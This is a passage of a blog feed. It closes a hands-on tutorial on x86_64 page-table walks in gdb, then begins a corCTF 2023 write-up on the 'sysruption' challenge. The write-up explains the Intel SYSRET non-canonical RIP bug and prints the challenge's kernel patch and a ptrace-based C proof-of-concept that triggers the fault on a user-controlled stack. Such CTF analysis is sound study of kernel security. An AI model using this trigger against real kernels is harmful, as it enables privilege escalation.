XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XX00 0000 0000 0000 000X XXXX 1XXX XXXX
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>When the page size bit is set notice that the PUD entry looks more like a PT entry than a normal PUD entry, which makes sense because it is also referring to a page rather than a page table.</p>

<p>There are some distinctions from a PT entry though:</p>
<ol>
  <li>The Page Size bit is where the Page Attribute Table (PAT) bit is at on a PT, so the PAT bit is relocated to bit 12.</li>
  <li>The physical address of a 1GB Huge Page is required to have 1GB alignment in physical memory, this is why the new reserved bits exist and why bit 12 is able to be repurposed as the PAT bit.</li>
</ol>

<p>Overall, not too much new here, the only other differences when dealing with huge pages really is that a different bitmask needs to be applied to the address to get the bits for the physical address of the page, also the 1GB alignment means when calculating the physical address of a virtual address within the page we need to use a mask based on 1GB alignment instead of 4KB alignment.</p>

<h3 id="huge-page-pmd">Huge Page PMD</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PMD Entry, Page Size set ~                                     Present ─────┐
                                                             Read/Write ─────┐|
                                                       User/Supervisor ─────┐||
                                                   Page Write Through ─────┐|||
                                                Page Cache Disabled ─────┐ ||||
                                                          Accessed ─────┐| ||||
                                                            Dirty ─────┐|| ||||
┌─── NX                                                Page Size ─────┐||| ||||
|┌───┬─── Memory Protection Key                         Global ─────┐ |||| ||||
||   |┌──────┬─── Ignored                             Ignored ───┬─┐| |||| ||||
||   ||      | ┌─── Reserved         Page Attribute Table ─────┐ | || |||| ||||
||   ||      | |┌───────────────────────────────────┐┌────────┐| | || |||| ||||
||   ||      | ||     2MB Page Physical Address     ||Reserved|| | || |||| ||||
||   ||      | ||                                   ||        || | || |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXX0 0000 000X XXXX 1XXX XXXX
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>This is very similar to the PUD entry with the Page Size bit set, the only thing that has changed is that since the alignment is smaller for the 2MB pages at this level, there are less reserved bits set.</p>

<p>The 2MB alignment means the offset within the huge page should be calculated using a mask based on 2MB alignment.</p>

<h2 id="going-for-a-walk">going for a walk</h2>

<p>So the last section was a lot of diagrams, in this section lets look at how to actually do a page walk manually in gdb.</p>

<h3 id="preparation">preparation</h3>

<p>With a booted up vm and gdb attached I first will pick an address to do a page walk on, as an example I’ll use the current stack pointer while running in the kernel:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x $rsp
$42 = 0xffffffff88c07da8
</code></pre></div></div>

<p>Now we have the address we are going to walk, lets also get the physical address of the PGD from <code class="language-plaintext highlighter-rouge">cr3</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x $cr3 &amp; ~0xfff
$43 = 0x10d664000
</code></pre></div></div>

<p>I’ll use this little python function to extract the page table offsets from the virtual address:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_virt_indicies</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">pageshift</span> <span class="o">=</span> <span class="mi">12</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span> <span class="o">&gt;&gt;</span> <span class="n">pageshift</span>
    <span class="n">pt</span><span class="p">,</span> <span class="n">pmd</span><span class="p">,</span> <span class="n">pud</span><span class="p">,</span> <span class="n">pgd</span> <span class="o">=</span> <span class="p">(((</span><span class="n">addr</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="n">i</span><span class="o">*</span><span class="mi">9</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0x1ff</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">pgd</span><span class="p">,</span> <span class="n">pud</span><span class="p">,</span> <span class="n">pmd</span><span class="p">,</span> <span class="n">pt</span>
</code></pre></div></div>

<p>which outputs this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="nf">get_virt_indicies</span><span class="p">(</span><span class="mh">0xffffffff88c07da8</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="p">(</span><span class="mi">511</span><span class="p">,</span> <span class="mi">510</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">7</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="pgd-1">PGD</h3>

<p>The index we got for the PGD based on the virtual address was 511, multiplying 511 by 8 will let us get the byte offset into the PGD that the PGD entry for our virtual address starts at:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 511*8
$44 = 0xff8
</code></pre></div></div>

<p>adding that offset to the PGD’s physical address gets us the physical address of the PGD entry:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x10d664000+0xff8
$45 = 0x10d664ff8
</code></pre></div></div>

<p>and reading the physical memory at that address gets us the PGD entry itself:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  monitor xp/gx 0x10d664ff8
000000010d664ff8: 0x0000000008c33067
</code></pre></div></div>

<p>Looks like the entry has the last three bits (present, user, and writeable) set, and the top bit (NX) is unset, meaning there aren’t any restrictions so far on the permissions of the pages associated with this virtual address.</p>

<p>Masking the bits [12, 51) gives us the physical address of the PUD:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000008c33067 &amp; ~((1&lt;&lt;12)-1) &amp; ((1ull&lt;&lt;51) - 1)
$46 = 0x8c33000
</code></pre></div></div>

<h3 id="pud-1">PUD</h3>

<p>The index we got for the PUD based on the virtual address was 510, multiplying 510 by 8 will let us get the byte offset into the PUD that the PUD entry for our virtual address starts at:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 510*8
$47 = 0xff0
</code></pre></div></div>

<p>adding that offset to the PUD’s physical address gets us the physical address of the PUD entry:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x8c33000+0xff0
$48 = 0x8c33ff0
</code></pre></div></div>

<p>and reading the physical memory at that address gets us the PUD entry itself:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  monitor xp/gx 0x8c33ff0
0000000008c33ff0: 0x0000000008c34063
</code></pre></div></div>

<p>At this level we need to start paying attention to the Size Bit (bit 7), because if it is a 1GB page we would stop our page walk here.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000008c34063 &amp; (1&lt;&lt;7)
$49 = 0x0
</code></pre></div></div>

<p>Seems it is unset on this entry so we will continue page walking.</p>

<p>Notice also that the PUD entry ends in 0x3 and not 0x7 like the previous level, the bottom two bits (present, writeable) are still set but the third bit, the user bit is now unset. That means that usermode accesses to pages belonging to this PUD entry will result in a page fault due to the failed permission check on the access.</p>

<p>The NX bit is still unset, so pages belonging to this PUD can still be executable.</p>

<p>Masking the bits [12, 51) gives us the physical address of the PMD:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000008c34063 &amp; ~((1ull&lt;&lt;12)-1) &amp; ((1ull&lt;&lt;51)-1)
$50 = 0x8c34000
</code></pre></div></div>

<h3 id="pmd-1">PMD</h3>

<p>The index we got for the PMD based on the virtual address was 70, multiplying 70 by 8 will let us get the byte offset into the PMD that the PMD entry for our virtual address starts at:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 70*8
$51 = 0x230
</code></pre></div></div>

<p>adding that offset to the PMD’s physical address gets us the physical address of the PMD entry:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x8c34000+0x230
$52 = 0x8c34230
</code></pre></div></div>

<p>and reading the physical memory at that address gets us the PMD entry itself:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  monitor xp/gx 0x8c34230
0000000008c34230: 0x8000000008c001e3
</code></pre></div></div>

<p>Again, at this level we need paying attention to the Size Bit, because if it is a 2MB page we will stop our page walk here.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x8000000008c001e3 &amp; (1&lt;&lt;7)
$53 = 0x80
</code></pre></div></div>

<p>Looks like our virtual address refers to a 2MB Huge Page! so the physical address in this PMD entry is the physical address of that Huge Page.</p>

<p>Also, looking at the permission bits, looks like the page is still present and writeable and the user bit is still unset, so this page is only accessible from supervisor mode (ring-0).</p>

<p>Unlike the previous levels, the top bit, the NX bit, is set:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x8000000008c001e3 &amp; (1ull&lt;&lt;63)
$54 = 0x8000000000000000
</code></pre></div></div>

<p>So this Huge Page is not executable memory.</p>

<p>Applying a bitmask on bits [21:51) gets us the physical address of the huge page:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x8000000008c001e3 &amp; ~((1ull&lt;&lt;21)-1) &amp; ((1ull&lt;&lt;51)-1)
$56 = 0x8c00000
</code></pre></div></div>

<p>Now we need to apply a mask to the virtual address based on 2MB page alignment to get the offset into the Huge Page.</p>

<p>2MB is equivalent to <code class="language-plaintext highlighter-rouge">1&lt;&lt;21</code> so applying a bitmask of <code class="language-plaintext highlighter-rouge">(1ull&lt;&lt;21)-1</code> will get us the offset:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0xffffffff88c07da8 &amp; ((1ull&lt;&lt;21)-1)
$57 = 0x7da8
</code></pre></div></div>

<p>Now adding this offset to the base address of the 2MB Huge Page will get us the physical address associated with the virtual address we started with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x8c00000 + 0x7da8
$58 = 0x8c07da8
</code></pre></div></div>

<p>Looks like the Virtual Address: <code class="language-plaintext highlighter-rouge">0xffffffff88c07da8</code> has a Physical Address of: <code class="language-plaintext highlighter-rouge">0x8c07da8</code>!</p>

<h3 id="checking-ourselves">checking ourselves</h3>

<p>There are a few ways to test that we page walked correctly, an easy check is to just dump the memory at the virtual and physical address and compare them, if they look the same we were probably right:</p>

<p>Physical:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  monitor xp/10gx 0x8c07da8
0000000008c07da8: 0xffffffff810effb6 0xffffffff88c07dc0
0000000008c07db8: 0xffffffff810f3685 0xffffffff88c07de0
0000000008c07dc8: 0xffffffff8737dce3 0xffffffff88c3ea80
0000000008c07dd8: 0xdffffc0000000000 0xffffffff88c07e98
0000000008c07de8: 0xffffffff8138ab1e 0x0000000000000000
</code></pre></div></div>

<p>Virtual:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  x/10gx 0xffffffff88c07da8
0xffffffff88c07da8:	0xffffffff810effb6	0xffffffff88c07dc0
0xffffffff88c07db8:	0xffffffff810f3685	0xffffffff88c07de0
0xffffffff88c07dc8:	0xffffffff8737dce3	0xffffffff88c3ea80
0xffffffff88c07dd8:	0xdffffc0000000000	0xffffffff88c07e98
0xffffffff88c07de8:	0xffffffff8138ab1e	0x0000000000000000
</code></pre></div></div>

<p>Looks good to me!</p>

<p>Another way to check is using the <code class="language-plaintext highlighter-rouge">monitor gva2gpa</code> (guest virtual address to guest physical address) command exposed to gdb by the QEMU Monitor:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  monitor gva2gpa 0xffffffff88c07da8
gpa: 0x8c07da8
</code></pre></div></div>

<p>Assuming QEMU is doing address translation correctly (probably a fair assumption), then looks like we have double confirmation that our page walk was successful!</p>

<h2 id="wrapping-up">wrapping up</h2>

<p>Hopefully by the end of this you have a pretty solid understanding of how paging works on x86_64 systems. I wanted to pack a lot of information into the post so it took some thought to figure out how to organize all of it and I’m still not sure if this was a great way to go about it.</p>

<p>Anyways, I think paging is pretty neat and I think its one of those things where once you get it you’ve got it, but getting to that point can take some time and some screwing around in gdb.</p>

<p>I’d also like to mention that the inspiration for the diagrams of the various page table entries I made for this post came from the documentation of the <a href="https://github.com/jart/blink/">blink</a> project: <a href="https://github.com/jart/blink/blob/46d82a0ced97c0df1fc645c5d81a88f0d142fbfd/blink/machine.h#L61">blink/machine.h</a>.</p>

<p>Thanks for reading!</p>]]></content><author><name>Jennifer Miller</name></author><category term="x86_64" /><category term="Linux" /><category term="Architecture" /><summary type="html"><![CDATA[I’ve spent quite a lot of time messing with x86_64 page tables, understanding address translation is not easy and when I started learning about it I felt like a lot of the material out there on how it works was hard for me to wrap my head around. So in this blog post I am going to attempt to provide a kind of “what I wish I had when learning about paging”.]]></summary></entry><entry><title type="html">corCTF 2023: sysruption writeup</title><link href="https://zolutal.github.io/corctf-sysruption/" rel="alternate" type="text/html" title="corCTF 2023: sysruption writeup" /><published>2023-07-30T00:00:00+00:00</published><updated>2023-07-30T00:00:00+00:00</updated><id>https://zolutal.github.io/corctf-sysruption</id><content type="html" xml:base="https://zolutal.github.io/corctf-sysruption/"><![CDATA[<p>I played corCTF this weekend and managed to solve two pretty tough challenges. This will be a writeup for the first of those two, sysruption, which I managed to get first-blood on!</p>

<p style="text-align: center;"><img src="/assets/corctf-sysruption/first-blood.png" alt="first-blood" /></p>

<p>As described by the challenge text, sysruption is about:</p>

<blockquote>
  <p>A hardware quirk, a micro-architecture attack, and a kernel exploit all in one!</p>
</blockquote>

<p>So pretty much a combination of my favorite research topics :D</p>

<p>Plus it had this sick motd!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  ██████ ▓██   ██▓  ██████  ██▀███   █    ██  ██▓███  ▄▄▄█████▓ ██▓ ▒█████   ███▄    █
▒██    ▒  ▒██  ██▒▒██    ▒ ▓██ ▒ ██▒ ██  ▓██▒▓██░  ██▒▓  ██▒ ▓▒▓██▒▒██▒  ██▒ ██ ▀█   █
░ ▓██▄     ▒██ ██░░ ▓██▄   ▓██ ░▄█ ▒▓██  ▒██░▓██░ ██▓▒▒ ▓██░ ▒░▒██▒▒██░  ██▒▓██  ▀█ ██▒
  ▒   ██▒  ░ ▐██▓░  ▒   ██▒▒██▀▀█▄  ▓▓█  ░██░▒██▄█▓▒ ▒░ ▓██▓ ░ ░██░▒██   ██░▓██▒  ▐▌██▒
▒██████▒▒  ░ ██▒▓░▒██████▒▒░██▓ ▒██▒▒▒█████▓ ▒██▒ ░  ░  ▒██▒ ░ ░██░░ ████▓▒░▒██░   ▓██░
▒ ▒▓▒ ▒ ░   ██▒▒▒ ▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒▓▒░ ░  ░  ▒ ░░   ░▓  ░ ▒░▒░▒░ ░ ▒░   ▒ ▒
░ ░▒  ░ ░ ▓██ ░▒░ ░ ░▒  ░ ░  ░▒ ░ ▒░░░▒░ ░ ░ ░▒ ░         ░     ▒ ░  ░ ▒ ▒░ ░ ░░   ░ ▒░
░  ░  ░   ▒ ▒ ░░  ░  ░  ░    ░░   ░  ░░░ ░ ░ ░░         ░       ▒ ░░ ░ ░ ▒     ░   ░ ░
      ░   ░ ░           ░     ░        ░                        ░      ░ ░           ░
          ░ ░
</code></pre></div></div>

<p>dist:
<a href="/assets/corctf-sysruption/dist/patch.diff">patch</a>
<a href="/assets/corctf-sysruption/dist/bzImage">bzImage</a>
<a href="/assets/corctf-sysruption/dist/initramfs.cpio.gz">initramfs</a>
<a href="/assets/corctf-sysruption/dist/kconfig">kconfig</a></p>

<p>exploit:
<a href="/assets/corctf-sysruption/exploit.c">exploit.c</a>
<a href="/assets/corctf-sysruption/exploit">exploit</a></p>

<h2 id="patchwork">patchwork</h2>

<p>Looking at what was provided for the challenge, there are some kernel files and a run script along with a patchfile.</p>

<p>Here are the contents of the patch:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- orig_entry_64.S
</span><span class="gi">+++ linux-6.3.4/arch/x86/entry/entry_64.S
</span><span class="p">@@ -150,13 +150,13 @@</span>
 	ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
 		"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
 #else
<span class="gd">-	shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
-	sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
</span><span class="gi">+	# shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+	# sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
</span> #endif
<span class="err">
</span> 	/* If this changed %rcx, it was not canonical */
<span class="gd">-	cmpq	%rcx, %r11
-	jne	swapgs_restore_regs_and_return_to_usermode
</span><span class="gi">+	# cmpq	%rcx, %r11
+	# jne	swapgs_restore_regs_and_return_to_usermode
</span><span class="err">
</span> 	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
 	jne	swapgs_restore_regs_and_return_to_usermode
<span class="err">
</span></code></pre></div></div>

<p>So what is going on here?</p>

<p>The first set of lines which are commented out are doing arithmetic shifts on rcx, the register holding the userspace rip.</p>

<p>The following lines then check if those shifts modified rcx, and if it did it will jump to the a different exit path <code class="language-plaintext highlighter-rouge">swapgs_restore_regs_and_return_to_usermode</code> instead of continuing in <code class="language-plaintext highlighter-rouge">entry_SYSCALL_64</code>.</p>

<p>Without needing to look into what the shifts are doing, it is pretty clear from the comment that this change is just removing the address canonicality checks on the userspace rip.</p>

<p>A look at the context of this patch reveals an <a href="https://elixir.bootlin.com/linux/v6.3.4/source/arch/x86/entry/entry_64.S#L139">even more helpful comment</a> in the source:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/*
 * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
 * in kernel space.  This essentially lets the user take over
 * the kernel, since userspace controls RSP.
 *
 * If width of "canonical tail" ever becomes variable, this will need
 * to be updated to remain correct on both old and new CPUs.
 *
 * Change top bits to match most significant bit (47th or 56th bit
 * depending on paging mode) in the address.
 */
</code></pre></div></div>

<p>So removing the canonicality checks, as this patch does, theoretically should reintroduce the Intel SYSRET bug and let us “take over the kernel”, sounds fun.</p>

<h2 id="sysret-background">sysret background</h2>

<p>I was already familiar with this bug as I had actually looked into a while back after my professor for advanced operating systems mentioned it, so I had a pretty immediate understanding of what was going on here. But I’d like to give some background based on my understanding of the bug for those who arent familiar.</p>

<p>Essentially, the sysret bug is about a difference between how AMD and Intel implement the sysret instruction. Though I should note that while I think most people would consider this a bug in Intel’s implementation of sysret, Intel does not since it behaves according to their specifications, which… I guess?</p>

<p>Here are snippets of pseudocode for sysret from the Intel and AMD manuals:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">------------------</span> <span class="n">INTEL</span> <span class="o">-------------------|-------------------</span>  <span class="n">AMD</span> <span class="o">----------------------</span>
<span class="p">...</span>                                         <span class="o">|</span> <span class="p">...</span>
<span class="n">IF</span> <span class="p">(</span><span class="n">operand</span> <span class="n">size</span> <span class="n">is</span> <span class="mi">64</span><span class="o">-</span><span class="n">bit</span><span class="p">)</span>                 <span class="o">|</span> <span class="n">SYSRET_64BIT_MODE</span><span class="o">:</span>
    <span class="n">THEN</span> <span class="p">(</span><span class="o">*</span> <span class="n">Return</span> <span class="n">to</span> <span class="mi">64</span><span class="o">-</span><span class="n">Bit</span> <span class="n">Mode</span> <span class="o">*</span><span class="p">)</span>        <span class="o">|</span> <span class="n">IF</span> <span class="p">(</span><span class="n">OPERAND_SIZE</span> <span class="o">==</span> <span class="mi">64</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">IF</span> <span class="p">(</span><span class="n">RCX</span> <span class="n">is</span> <span class="n">not</span> <span class="n">canonical</span><span class="p">)</span> <span class="n">THEN</span> <span class="err">#</span><span class="n">GP</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>  <span class="o">|</span> <span class="p">{</span>
        <span class="n">RIP</span> <span class="o">:=</span> <span class="n">RCX</span><span class="p">;</span>                         <span class="o">|</span>      <span class="n">CS</span><span class="p">.</span><span class="n">sel</span> <span class="o">=</span> <span class="p">(</span><span class="n">MSR_STAR</span><span class="p">.</span><span class="n">SYSRET_CS</span> <span class="o">+</span> <span class="mi">16</span><span class="p">)</span> <span class="n">OR</span> <span class="mi">3</span>
    <span class="n">ELSE</span> <span class="p">(</span><span class="o">*</span> <span class="n">Return</span> <span class="n">to</span> <span class="n">Compatibility</span> <span class="n">Mode</span> <span class="o">*</span><span class="p">)</span> <span class="o">|</span>      <span class="p">...</span>
        <span class="n">RIP</span> <span class="o">:=</span> <span class="n">ECX</span><span class="p">;</span>                         <span class="o">|</span> <span class="p">}</span>
<span class="n">FI</span><span class="p">;</span>                                         <span class="o">|</span> <span class="p">...</span>
<span class="p">...</span>                                         <span class="o">|</span> <span class="n">RIP</span> <span class="o">=</span> <span class="n">temp_RIP</span>
<span class="n">CS</span><span class="p">.</span><span class="n">Selector</span> <span class="o">:=</span> <span class="n">CS</span><span class="p">.</span><span class="n">Selector</span> <span class="n">OR</span> <span class="mi">3</span><span class="p">;</span>            <span class="o">|</span> <span class="n">EXIT</span>
            <span class="p">(</span><span class="o">*</span> <span class="n">RPL</span> <span class="n">forced</span> <span class="n">to</span> <span class="mi">3</span> <span class="o">*</span><span class="p">)</span>           <span class="o">|</span>
<span class="p">...</span>                                         <span class="o">|</span>
</code></pre></div></div>

<p>The important part here is that the canonicality check on Intel occurs BEFORE the CS selector is set, whereas on AMD there is no builtin canonicality check in the instruction but it will be checked AFTER the CS selector is set when the cpu attempts to fetch the next instruction. The CS selector determines the current privilege level (CPL), CPL 0 is kernel mode and CPL 3 is user mode.</p>

<p>So on Intel CPUs when sysret is executed with a non-canonical instruction pointer a General Protection (GP) fault will be raised in kernel mode!</p>

<p>But on AMD CPUs when sysret is executed with a non-canonical instruction pointer a GP will occur on instruction fetch in user mode.</p>

<p>But why does this distinction matter? well, the issue is in how faults from different privilege levels are handled. On x86 when a fault occurs in CPL 3 the stack pointer will be set to a value defined in the TSS depending on what Desired Privilege Level (DPL) is defined for that fault in the Interrupt Descriptor Table (IDT):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Although hardware task-switching is not supported in 64-bit mode, a 64-bit task state segment (TSS) must exist.
Figure 8-11 shows the format of a 64-bit TSS. The TSS holds information important to 64-bit mode and that is not
directly related to the task-switch mechanism. This information includes:
• RSPn — The full 64-bit canonical forms of the stack pointers (RSP) for privilege levels 0-2.
• ISTn — The full 64-bit canonical forms of the interrupt stack table (IST) pointers.
• I/O map base address — The 16-bit offset to the I/O permission bit map from the 64-bit TSS base.
</code></pre></div></div>

<p class="caption">Intel SDM Volume 3 Ch. 8 Section 7: Task Management in 64-Bit Mode</p>

<p>But these stacks are only used when changing from a lower CPL to a higher CPL, if a fault occurs in a CPL greater than or equal to the the desired privilege level DPL for that fault, the current stack is used.</p>

<p>This becomes a problem on Intel CPUs because the the GP occurs at CPL 0 and the IDT descriptor for GP has DPL 0 so no privilege level change occurs, meaning instead of moving to the RSP0 stack pointer from the TSS, as would happen with a fault from user space, the fault will behave as a fault from kernel space and use the current (user controlled) stack pointer. So with a non-canonical instruction pointer the stack location when entering the GP fault handler will be a user controlled address.</p>

<p>Phew, x86 sure is something.</p>

<h2 id="triggering-the-bug">triggering the bug</h2>

<p>But how do you even reach sysret with a non-canonical instruction pointer? After all you need to have execute system call to be in <code class="language-plaintext highlighter-rouge">entry_SYSCALL_64</code> in the first place, so you can’t just jump to a non-canonical address or something since that won’t ever hit sysret.</p>

<p>I had a few ideas of how to go about this, one I had heard about <a href="https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/">here</a> was to map the last page before the non-canonical address gap and execute a syscall instruction at the end of that page which would cause rip to be incremented to a non-canonical address when executed, but it seems Linux does not let you map that page. Another idea I had was to use sigreturn to set the user space rip to a non-canonical address which probably would have worked, but I ended up finding a <a href="https://github.com/vnik5287/cve-2014-4699-ptrace/blob/master/poc_v0.c">poc</a> to trigger the bug using ptrace related to this <a href="https://duasynt.com/blog/cve-2014-4699-linux-kernel-ptrace-sysret-analysis">blog</a> on a Linux CVE the author found involving sysret.</p>

<p>This poc worked to trigger the bug almost immediately after some fixing up, but the exploitation was far from done.</p>

<p>Cleaned up poc:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">do_sysret</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">,</span> <span class="k">struct</span> <span class="n">user_regs_struct</span> <span class="o">*</span><span class="n">regs_arg</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">user_regs_struct</span> <span class="n">regs</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">status</span><span class="p">;</span>
    <span class="n">pid_t</span> <span class="n">chld</span><span class="p">;</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">regs</span><span class="p">,</span> <span class="n">regs_arg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">regs</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">((</span><span class="n">chld</span> <span class="o">=</span> <span class="n">fork</span><span class="p">())</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"fork"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">chld</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_TRACEME</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">perror</span><span class="p">(</span><span class="s">"PTRACE_TRACEME"</span><span class="p">);</span>
            <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="n">raise</span><span class="p">(</span><span class="n">SIGSTOP</span><span class="p">);</span>
        <span class="n">fork</span><span class="p">();</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">waitpid</span><span class="p">(</span><span class="n">chld</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">status</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_SETOPTIONS</span><span class="p">,</span> <span class="n">chld</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PTRACE_O_TRACEFORK</span><span class="p">);</span>
    <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_CONT</span><span class="p">,</span> <span class="n">chld</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="n">waitpid</span><span class="p">(</span><span class="n">chld</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">status</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="n">regs</span><span class="p">.</span><span class="n">rip</span> <span class="o">=</span> <span class="mh">0x8000000000000000</span><span class="p">;</span> <span class="c1">// not-canonical</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">rcx</span> <span class="o">=</span> <span class="mh">0x8000000000000000</span><span class="p">;</span> <span class="c1">// not-canonical</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">rsp</span> <span class="o">=</span> <span class="n">addr</span><span class="p">;</span>

    <span class="c1">// necessary stuff</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">eflags</span> <span class="o">=</span> <span class="mh">0x246</span><span class="p">;</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">r11</span> <span class="o">=</span> <span class="mh">0x246</span><span class="p">;</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">ss</span> <span class="o">=</span> <span class="mh">0x2b</span><span class="p">;</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">cs</span> <span class="o">=</span> <span class="mh">0x33</span><span class="p">;</span>

    <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_SETREGS</span><span class="p">,</span> <span class="n">chld</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">regs</span><span class="p">);</span>
    <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_CONT</span><span class="p">,</span> <span class="n">chld</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_DETACH</span><span class="p">,</span> <span class="n">chld</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

